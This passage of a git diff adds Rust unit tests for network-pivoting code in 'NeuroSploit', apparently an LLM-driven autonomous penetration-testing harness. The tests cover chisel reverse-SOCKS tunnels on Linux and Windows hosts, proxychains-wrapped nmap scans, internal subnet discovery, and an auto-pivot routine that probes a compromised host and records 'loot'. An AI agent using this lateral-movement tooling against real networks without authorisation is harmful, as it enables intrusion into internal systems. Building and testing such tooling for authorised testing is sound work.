wrap_command_with_proxy("nmap -sT 10.0.1.0/24", 10800); + assert!(wrapped.contains("proxychains")); + assert!(wrapped.contains("10800")); + assert!(wrapped.contains("nmap")); } #[test] - fn multiple_routes_per_tunnel() { - let mut m = mgr(); - let id = m.create_tunnel("s1", "10.10.10.5").id.clone(); - m.set_active(&id, 1); - m.add_route(&id, "10.10.10.0/24"); - m.add_route(&id, "172.16.0.0/16"); - assert_eq!(m.routes_for_tunnel(&id).len(), 2); + fn nmap_proxy_args_format() { + let args = nmap_proxy_args(10800); + assert_eq!(args[0], "--proxies"); + assert!(args[1].contains("10800")); + } + + #[test] + fn chisel_client_linux() { + let cmd = chisel_client_command("10.0.0.5", 8443, "/tmp/chisel", TargetOs::Linux); + assert!(cmd.contains("nohup")); + assert!(cmd.contains("R:socks")); + assert!(cmd.contains("10.0.0.5:8443")); + } + + #[test] + fn chisel_client_windows() { + let cmd = chisel_client_command("10.0.0.5", 8443, "C:\\chisel.exe", TargetOs::Windows); + assert!(cmd.contains("Start-Process")); + assert!(cmd.contains("R:socks")); + } + + #[test] + fn extract_ranges_linux_ifconfig() { + let output = "eth0: inet 10.0.1.5 netmask 255.255.255.0\nlo: inet 127.0.0.1"; + let ranges = extract_internal_ranges(output); + assert_eq!(ranges, vec!["10.0.1.0/24"]); + } + + #[test] + fn extract_ranges_windows_ipconfig() { + let output = "IPv4 Address. . . : 192.168.1.50\n Subnet Mask : 255.255.255.0\n IPv4 Address. . . : 10.10.10.5"; + let ranges = extract_internal_ranges(output); + assert!(ranges.contains(&"192.168.1.0/24".to_string())); + assert!(ranges.contains(&"10.10.10.0/24".to_string())); + } + + #[test] + fn extract_ranges_ignores_loopback() { + let output = "inet 127.0.0.1"; + let ranges = extract_internal_ranges(output); + assert!(ranges.is_empty()); + } + + #[test] + fn ip_in_range_match() { + assert!(ip_in_range("10.0.1.5", "10.0.1.0/24")); + assert!(!ip_in_range("10.0.2.5", "10.0.1.0/24")); + assert!(ip_in_range("192.168.1.100", "192.168.0.0/16")); + } + + #[tokio::test] + async fn pivot_manager_allocate() { + let mgr = PivotManager::new(); + let t = mgr.allocate("10.0.0.5", TargetOs::Linux).await; + assert!(t.id.starts_with("chisel-")); + assert_eq!(t.status, TunnelStatus::Pending); + } + + #[tokio::test] + async fn pivot_manager_lifecycle() { + let mgr = PivotManager::new(); + let t = mgr.allocate("10.0.0.5", TargetOs::Linux).await; + let id = t.id.clone(); + + mgr.mark_active(&id, vec!["10.0.1.0/24".into()]).await; + let active = mgr.active_tunnels().await; + assert_eq!(active.len(), 1); + assert_eq!(active[0].status, TunnelStatus::Active); + + let found = mgr.tunnel_for_host("10.0.1.6").await; + assert!(found.is_some()); + assert_eq!(found.unwrap().id, id); + + let not_found = mgr.tunnel_for_host("172.16.0.1").await; + assert!(not_found.is_none()); + } + + #[tokio::test] + async fn pivot_manager_teardown() { + let mgr = PivotManager::new(); + let t = mgr.allocate("10.0.0.5", TargetOs::Linux).await; + let id = t.id.clone(); + mgr.mark_active(&id, vec!["10.0.1.0/24".into()]).await; + mgr.teardown(&id).await; + assert!(mgr.active_tunnels().await.is_empty()); + let t = mgr.get_tunnel(&id).await.unwrap(); + assert_eq!(t.status, TunnelStatus::TornDown); + } + + #[tokio::test] + async fn pivot_manager_failed() { + let mgr = PivotManager::new(); + let t = mgr.allocate("10.0.0.5", TargetOs::Windows).await; + mgr.mark_failed(&t.id, "upload timeout").await; + let t = mgr.get_tunnel(&t.id).await.unwrap(); + assert_eq!(t.status, TunnelStatus::Failed); + assert_eq!(t.error.as_deref(), Some("upload timeout")); + } + + #[tokio::test] + async fn auto_pivot_probe() { + let loot = auto_pivot( + "10.0.1.0/24".into(), + "10.0.0.5".into(), + |cmd| async move { + if cmd.contains("uname") { + "Linux kali 6.1.0-kali9-amd64".into() + } else if cmd.contains("which curl") { + "/usr/bin/curl\n/usr/bin/wget".into() + } else if cmd.contains("which chisel") || cmd.contains("ls /tmp/chisel") { + "/tmp/chisel".into() + } else if cmd.contains("ip addr") { + "eth0: inet 10.0.1.5 netmask 255.255.255.0\neth1: inet 10.0.2.1 netmask 255.255.255.0".into() + } else { + String::new() + } + }, + ) + .await; + + assert!(loot.iter().any(|l| l.contains("pivot:os-detect") && l.contains("linux"))); + assert!(loot.iter().any(|l| l.contains("pivot:chisel-present"))); + assert!(loot.iter().any(|l| l.contains("pivot:internal-range"))); + assert!(loot.iter().any(|l| l.contains("pivot:chisel-socks"))); + } + + #[test] + fn chisel_server_command_format() { + let cmd = chisel_server_command(8443); + assert!(cmd.contains("chisel server")); + assert!(cmd.contains("--reverse")); + assert!(cmd.contains("8443")); + } + + #[test] + fn pivot_tunnel_proxy_url() { + let t = PivotTunnel { + id: "chisel-1".into(), + pivot_host: "10.0.0.5".into(), + socks_port: 10800, + server_port: 8443, + target_os: TargetOs::Linux, + upload_method: UploadMethod::Curl, + status: TunnelStatus::Active, + internal_ranges: vec!["10.0.1.0/24".into()], + error: None, + }; + assert_eq!(t.proxy_url(), "socks5://127.0.0.1:10800"); + } + + #[test] + fn chisel_config_default() { + let cfg = ChiselConfig::default(); + assert_eq!(cfg.server_port, 8443); + assert_eq!(cfg.socks_port, 1080); + assert_eq!(cfg.target_os, TargetOs::Unknown); } } diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index feb3502..1ace628 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -1,4 +1,4 @@ -//! NeuroSploit v4.4.2 harness — a robust multi-model runtime for the +//! NeuroSploit v4.4.3 harness — a robust multi-model runtime for the //! markdown-driven autonomous pentest engine. //! //! The harness loads the `agents_md/` library, drives a *pool* of LLM models